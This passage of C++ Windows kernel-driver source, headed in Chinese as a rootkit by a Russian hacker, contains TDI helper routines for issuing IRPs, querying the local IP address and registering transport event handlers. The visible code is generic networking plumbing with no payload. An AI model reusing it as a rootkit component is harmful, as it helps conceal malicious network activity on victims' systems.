ktdiinterface.cpp

尔罗斯著名黑客写的rootkit

  ++m_TreatIrpsCount;

  if (bWait == TRUE)
  {
    if (pkEvent == NULL)
    {
      pkEvent = &kEvent;
      KeInitializeEvent(pkEvent, NotificationEvent, FALSE);         // reset notification event
    }
    pIrp->UserEvent = pkEvent;                                      // pointer to event
  }
  pIrp->UserIosb = pIoStatusBlock;                                  // pointer to status block

  IoSetCompletionRoutine(pIrp, TdiCallCompletion, (PVOID)this, TRUE, TRUE, TRUE);

  dStatus = IoCallDriver(pDeviceObject, pIrp);                      // call next driver
  if (dStatus == STATUS_PENDING && bWait == TRUE)                   // make all request synchronous
  {
    (void)KeWaitForSingleObject ( 
                    (PVOID)pkEvent,                                 // signaling object
                    Suspended,                                      // wait reason
                    KernelMode,                                     // wait mode
                    TRUE,                                           // alertable
                    NULL );                                         // timeout
    dStatus = pIoStatusBlock->Status;
  }
  
  //InterlockedDecrement(&m_dwTreatIrpsCount);
  --m_TreatIrpsCount;

  return ( dStatus );                                               // return with status
}

NTSTATUS 
KTdiInterface::TdiQueryDeviceControl( 
   IN PFILE_OBJECT pObject,
   IN ULONG dIoControlCode,
   IN PVOID InputBuffer,
   IN ULONG InputBufferSize,
   IN OUT PVOID OutputBuffer,
   IN ULONG OutputBufferSize,
   OUT PULONG pdReturn)
{
  PIRP pIrp;                                                        // local i/o request
  PIO_STACK_LOCATION pIoStack;                                      // I/O Stack Location
  PDEVICE_OBJECT pDeviceObject;                                     // local device object
  IO_STATUS_BLOCK IoStatusBlock;                                    // return status
  NTSTATUS dStatus = STATUS_INVALID_PARAMETER;                      // default return status

  if (pObject)
  {
    pDeviceObject = IoGetRelatedDeviceObject ( pObject );           // get device object
    pIrp = IoBuildDeviceIoControlRequest (
                dIoControlCode,
                pDeviceObject,
                InputBuffer,
                InputBufferSize,
                OutputBuffer,
                OutputBufferSize,
                FALSE,
                NULL,                                               // pointer to event
                NULL );                                             // pointer to return buffer
    if (pIrp == NULL)
    {
      DbgPrint ( "ERROR: IoBuildDeviceIoControlRequest\n" );
      dStatus = STATUS_INSUFFICIENT_RESOURCES;
    }
    else
    {
      pIoStack = IoGetNextIrpStackLocation ( pIrp );                // get the iostack
      pIoStack->DeviceObject = pDeviceObject;                       // store current device object
      pIoStack->FileObject = pObject;                               // store file object in the stack
      dStatus = TdiCall ( pIrp, pDeviceObject, &IoStatusBlock );
      if (pdReturn)                                                 // requested by user?
        *pdReturn = IoStatusBlock.Information;                      // return information size
    }
  }
  return ( dStatus );                                               // return with status
}


NTSTATUS 
KTdiInterface::TdiQueryInformationEx(
   IN PFILE_OBJECT pObject,
   IN ULONG dEntity,
   IN ULONG dInstance,
   IN ULONG dClass,
   IN ULONG dType,
   IN ULONG dId,
   IN PVOID pOutputBuffer,
   IN PULONG pdOutputLength )
{
  TCP_REQUEST_QUERY_INFORMATION_EX QueryInfo;                       // local query information

  RtlZeroMemory ( &QueryInfo, sizeof ( TCP_REQUEST_QUERY_INFORMATION_EX ) ); // input buffer length
  QueryInfo.ID.toi_entity.tei_entity = dEntity;
  QueryInfo.ID.toi_entity.tei_instance = dInstance;
  QueryInfo.ID.toi_class = dClass;
  QueryInfo.ID.toi_type = dType;
  QueryInfo.ID.toi_id = dId;
  return ( TdiQueryDeviceControl (                                  // send down device control call
                 pObject,                                           // current transport/connection object
                 IOCTL_TCP_QUERY_INFORMATION_EX,                    // control code
                 &QueryInfo,                                        // input buffer
                 sizeof ( TCP_REQUEST_QUERY_INFORMATION_EX ),       // input buffer length
                 pOutputBuffer,                                     // output buffer
                 *pdOutputLength,                                   // output buffer length
                 pdOutputLength ) );                                // return information
}


NTSTATUS 
KTdiInterface::TdiQueryAddress(
   IN PFILE_OBJECT pObject,
   IN PULONG pdAddress)
{
  ULONG        i, j;                                                // local loop control
  TDIEntityID* pEntityBuffer = NULL;                                // buffer for ENTITY_LIST_ID
  ULONG        dEntityCount;                                        // number of entities
  ULONG        dEntityType;                                         // entity type
  IPSNMPInfo   SnmpInfo;                                            // ip information
  IPAddrEntry* pIpAddress = NULL;                                   // ip address buffer
  ULONG        dBufferSize;                                         // buffer length
  NTSTATUS     dStatus = STATUS_INVALID_PARAMETER;                  // local status

  __try
  {
     *pdAddress = 0L;
     dBufferSize = MAX_FAST_ENTITY_BUFFER;                          // default buffer size
     for (j = 0; j < 2; ++j)
     {
       pEntityBuffer = (TDIEntityID*) new char[dBufferSize];        // allocate buffer
       if (pEntityBuffer == NULL)                                   // validate pointer
       {
         DbgPrint ("ERROR: ExAllocatePoolWithTag\n");
         dStatus = STATUS_INSUFFICIENT_RESOURCES;
         break;
       }
       else
       {
          // ********************************************
          // 1-Query device for entity buffer
          // ********************************************
         dStatus = TdiQueryInformationEx ( 
                               pObject,                             // control object
                               GENERIC_ENTITY,                      // entity
                               TL_INSTANCE,                         // instance
                               INFO_CLASS_GENERIC,                  // class
                               INFO_TYPE_PROVIDER,                  // type
                               ENTITY_LIST_ID,                      // id
                               pEntityBuffer,                       // output buffer
                               &dBufferSize );                      // output buffer size
         if (dStatus == STATUS_BUFFER_TOO_SMALL)                    // check for a buffer error
         {
           DbgPrint ( "ERROR: Buffer too small\n", dStatus );
           delete[] pEntityBuffer;                                  // free buffer
           pEntityBuffer = NULL;
         }
         else
         {
           if (!NT_SUCCESS(dStatus))                                // check return code
             DbgPrint ( "ERROR: Unable to get entity\n", dStatus );
           break;
         }
       }
     }

      // *********************************
      // Scan the entities looking for IP.
      // *********************************
     if (NT_SUCCESS(dStatus))
     {
       dEntityCount = dBufferSize / sizeof(TDIEntityID);            // determine number of entities
       for (i = 0; i < dEntityCount; ++i)                           // loop through all of them
       {
          // ********************************************
          // 2-Query device for entity type
          // ********************************************
         if (pEntityBuffer[i].tei_entity == CL_NL_ENTITY)
         {
           dBufferSize = sizeof(dEntityType);                       // store buffer size
           if ( NT_SUCCESS ( dStatus ) )                            // validate pointer
           {
             dStatus = TdiQueryInformationEx ( 
                                  pObject,                          // control object
                                  CL_NL_ENTITY,                     // entity
                                  pEntityBuffer[i].tei_instance,    // instance
                                  INFO_CLASS_GENERIC,               // class
                                  INFO_TYPE_PROVIDER,               // type
                                  ENTITY_TYPE_ID,                   // id
                                  &dEntityType,                     // output buffer
                                  &dBufferSize );                   // output buffer size
             if (!NT_SUCCESS(dStatus) || (dEntityType != CL_NL_IP)) // check for IP entity type
               DbgPrint("ERROR: Unable to get entity type\n", dStatus);
           }
           
            // ***************************************
            // 3-Query device for snmp info.
            // We found an IP entity. Now lookup its 
            // addresses.  Start by querying the number
            // of addresses supported by this interface.
            // ***************************************
           if (NT_SUCCESS(dStatus))
           {
             dBufferSize = sizeof(SnmpInfo);                        // store buffer size
             dStatus = TdiQueryInformationEx( 
                                  pObject,                          // control object
                                  CL_NL_ENTITY,                     // entity
                                  pEntityBuffer[i].tei_instance,    // instance
                                  INFO_CLASS_PROTOCOL,              // class
                                  INFO_TYPE_PROVIDER,               // type
                                  IP_MIB_STATS_ID,                  // id
                                  &SnmpInfo,                        // output buffer
                                  &dBufferSize);                    // output buffer size
             if (!NT_SUCCESS(dStatus) || (SnmpInfo.ipsi_numaddr == 0))
               DbgPrint ( "ERROR: Unable to get snmp\n", dStatus );
           }

            // ***************************************
            // 4-Query device for all ip addresses
            // ***************************************
           if (NT_SUCCESS(dStatus))
           {
             dBufferSize = SnmpInfo.ipsi_numaddr * sizeof(IPAddrEntry);
             for (j = 0; j < 2; ++j)
             {
               pIpAddress = (IPAddrEntry *) new char[dBufferSize]; // allocate buffer
               if (pIpAddress == NULL)
               {
                 DbgPrint ( "ERROR: ExAllocatePoolWithTag\n" );
                 dStatus = STATUS_INSUFFICIENT_RESOURCES;
                 break;
               }
               else
               {
                 dStatus = TdiQueryInformationEx ( 
                                      pObject,                     // control object
                                      CL_NL_ENTITY,                // entity
                                      pEntityBuffer[i].tei_instance,// instance
                                      INFO_CLASS_PROTOCOL,         // class
                                      INFO_TYPE_PROVIDER,          // type
                                      IP_MIB_ADDRTABLE_ENTRY_ID,   // id
                                      pIpAddress,                  // output buffer
                                      &dBufferSize );              // output buffer size
                 if (dStatus == STATUS_BUFFER_TOO_SMALL)           // check for a buffer error
                 {
                   DbgPrint ( "ERROR: Buffer too small\n", dStatus );
                   delete[] pIpAddress;                            // free buffer
                   pIpAddress = NULL;                              // reset pointer
                 }
                 else
                 {
                   if (!NT_SUCCESS(dStatus))                       // check return code
                     DbgPrint ( "ERROR: Unable to get address\n", dStatus );
                   else 
                   {
                     if (pdAddress)
                     {
                       *pdAddress =                                // store real ip address
                           D_BIG_TO_LITTLE_ENDIAN(pIpAddress->iae_addr);
                     }
                   }
                   break;                                          // break for loop
                 }
               }
             }
           }
         }
       }
     }
  }
  __finally
  {
    if (pEntityBuffer)                                             // validate pointer
      delete[] pEntityBuffer;                                      // free buffer
    if (pIpAddress)                                                // validate buffer
       delete[] pIpAddress;                                        // free buffer
    if (NT_SUCCESS(dStatus) && (*pdAddress == 0L))
      dStatus = STATUS_INVALID_PARAMETER;
  }

  return (dStatus);                                                // return with status
}

BOOLEAN KTdiInterface::SetEventHandler(IN int nEventType, IN PVOID pEventHandler, IN PVOID HandlerContext)
{
  BOOLEAN                      bRes = FALSE;
  PIRP                         pIrp = NULL, pIrpError = NULL;
  PDEVICE_OBJECT               pDeviceObject;
  NTSTATUS                     NtStatus;
  IO_STATUS_BLOCK              IoStatusBlock;

  __try
  {
    if (m_bOpen == TRUE && m_pTdiTransportObject != NULL)
    {
      pDeviceObject = IoGetRelatedDeviceObject(m_pTdiTransportObject);

      pIrp = TdiBuildInternalDeviceControlIrp(
                      TDI_SET_EVENT_HANDLER, 
                      pDeviceObject, 
                      m_pTdiTransportObject,
                      NULL, 
                      NULL);
      pIrpError = pIrp;
      if (pIrp != NULL)
      {
        TdiBuildSetEventHandler (
                 pIrp, 
                 pDeviceObject, 
                 m_pTdiTransportObject,
                 NULL, 
                 NULL,
                 nEventType,
                 pEventHandler,
                 HandlerContext);
        
        pIrpError = NULL;
        NtStatus = TdiCall(pIrp, pDeviceObject, &IoStatusBlock);
        if (NT_SUCCESS(NtStatus))
        {
          DbgPrint ("SetEventHandler: OK (%08x)!!!\n", NtStatus);
          bRes = TRUE;
        }
        else
        {
          DbgPrint ("SetEventHandler: ERROR (%08x)!!!\n", NtStatus);
        }
      }
    }
  }
  __finally
  {
    if (pIrpError != NULL)
      IoFreeIrp(pIrpError);
  }

  return bRes;
}